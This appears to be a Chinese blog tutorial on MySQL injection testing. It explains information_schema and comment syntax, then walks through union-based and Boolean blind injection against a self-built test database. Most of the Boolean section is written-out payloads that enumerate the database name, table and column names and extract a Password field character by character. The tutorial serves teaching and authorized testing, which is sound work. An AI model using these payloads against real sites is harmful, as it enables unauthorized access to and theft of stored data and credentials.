怎么进行mysql注入测试_渗透测试MySql注入(一)

一、SQL注入条件

参数用户可控:前端传递给后端的参数内容是用户可以控制的。

参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库执行。

二、MySQL注入知识点

在mysql5.0之后默认存在一个information_schema数据库,该数据库中有三个表特别重要,分别为:SCHEMATA表、TABLES表、COLUMNS表。

SCHEMATA表中SCHEMA_NAME存放该用户创建的所有数据库库名:

1104e81f000030caa36f3276f5e22af2.png

SCHEMATA表

TABLES表中TABLE_SCHEMA和TABLE_NAME存放该用户创建的所有数据库库名和表名:

9f5b639f789d7169ccb1e01d62e9e460.png

TABLES表

COLUMNS表中TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME分别存在该用户所创建的所有数据库名、表名、列名。

d6867e580c56ad76e61d0748dcb2a8a6.png

COLUMNS表1. mysql查询语法

SELECT 要查询的字段名 FROM 库名.表名

select * from mysql.user

c9a4dced39ccc1f55ac54afa05cdb640.png

mysql查询1

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名 = 已知条件的值

select * from mysql.user where user = 'root'

a8c0032ce707d8b7d99af8abb2e44d6a.png

mysql查询2 SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名 = 已知条件1的值 AND 已知条件2的字段名 = 已知条件2的值

select * from mysql.user where user = 'root' and Host = 'localhost';

0322cd110680c08da2569ba0e065339f.png

mysql查询32..limit 用法

limit相当于对查询的结果做约束,语法为limit m,n。m表示开始的位置,从0开始,n表示取的个数,limit 0,1表示

select * from mysql.user limit 0,1

c93fe7f0a2dcefdbac35948f2c9b58a1.png

limit用法3.需要记住的几个函数

database() :当前网站的数据库

version():当前mysql版本

user():当前数据库用户

4.注释符

mysql常见的注释符有#--空格和/**/

5.内联注释

内联注释形式如:/!xxx/,内联注释可以用于整个SQL语句中

/*!select*/ * from /*!mysql.user */;

e95a043e3bd75fc85fe57dbf136ee275.png

内联注释

三、union注入

在Navicat中创建一个数据库并填入相关的表数据

420ff0e52ff3456483a224781d10fcf9.png

数据库

编写union注入代码:

5efb635ec411c4b680f65c07d7614bc3.png

union注入

现在可以进行SQL注入了 1.判断是否存在注入:and 1=1

022d8b3547b1b029adeb5edab88402e8.png

union注入

and 1=2

93393bfbac14c3bff4ab466978078d17.png

union注入发现存在存在注入,使用order by 语句查看当前表存在的字段数:

572a2833695ec0750e2553ba308d8d33.png

image.png发现存在4个字段,进行union注入:

a732949d87a40163944480ce715a2e5b.png

image.png发现第二个字段和第四个字段存在回显,'-1'是让显示在语句不出错的情况下显示union select 之后的内容,接下来进行查看当前用户和当前数据库:

66d855ebef5c5a65ae34940db27ee282.png

union 注入

查看表名:

f1aac9d527574e29354e31da64710e5b.png

union 注入查看列名:

96d9b909e4a0f589d7472a4958105911.png

union 注入通过limit x,1 对列名进行遍历:

0d84512692e5eb9d67d6dcdb26a1fe2a.png

union 注入

1c5895a940521733837aab49ff5f3822.png

union 注入得到Password字段,对该字段进行读取:

8c4d11a7b1aba8d5e467a43701a6e030.png

union 注入利用limit x,1遍历其他用户和密码:

5d0a8743eddd761c6252201794d4d608.png

union 注入

f613a65efc72bbad3d3f56f6572b9a60.png

union 注入

五、Boolean 注入攻击

编写boolean注入代码:

//以上代码过滤了关键字,且只回显‘yes’或者‘no’

此时无法进行union注入,可以进行bool注入

判断是否存在SQL注入:

050624217b8bfb6d605f95bdbaaed094.png

bool 注入and 1=2显示no:

4317f0d671fec1d21673954b13f39242.png

bool 注入说明存在SQL注入,因为是要bool 注入 故首先判断当前数据库的长度

payload:and length(database())>0

7d49261699aa044153a6159cdcbe38d7.png

bool注入

912a753a576c315c1a20c746f5cdfb13.png

boolean注入

0a1464a52c185969cd1b4bb66daf538b.png

boolean注入证明数据库名为4位,接下来对每一位进行获取:

payload:and ascii(substr(database(),1,1))>1

56a53fc943fb05d6fc56c3a1b00fb1a5.png

bool注入用二分法确定ascii值的区间再采用burp进行爆破,很快就能确定所有位。

4f902cc73b6b2fd7c3d8009c26b6f04b.png

bool注入

bb3561d6ceb700f5bec914adcd9e18a0.png

bool 注入可以看出第一位的ascii值为116-》't',依次往下执行得到最后的数据库名为'test',接下来去查看该数据库有多少表:

payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=1

28ec4ed476cd038f296b699cedc7f65e.png

bool 盲注

payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=2

0a894004117e24b6b6edbb702843afd0.png

bool 盲注说明存在一个表,接下来查看第一个表的长度:

payload:and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))=4

1ac85722360106a4e6924e23260035b2.png

bool 盲注说明表名是4位,接下来开始爆破表名得每一位:

payload:and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>0

9a7e67ed35aa64995f4d87b3b46c3e10.png

bool 盲注说明第一位是ascii是117-》'u',以此类推得到表名为'user',接下来查看表中有多少列,然后以此查看列名的长度位数和列名:

查看有多少列:

and (select count(column_name) from information_schema.columns where table_schema = 'test' and table_name = 'user' limit 0,1)>3

说明存在4列,查看第一列列名长度:

and length(substr((select column_name from information_schema.columns where table_schema='test' and table_name = 'user' limit 0,1),1))=2

变换limit x,1可以遍历出所有列名的长度,接下来爆破第一列的第一位:

and ascii(substr((select column_name from information_schema.columns where table_schema='test' and table_name='user' limit 0,1),1,1))>0

进行爆破后得出每一列的列名···

接下来提取数据:

and ascii(substr((select Password from user limit 0,1),1,1))=49

变换substr(x,y,1)中的y值一次爆破出数据···

最后得到整个数据库中的内容

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值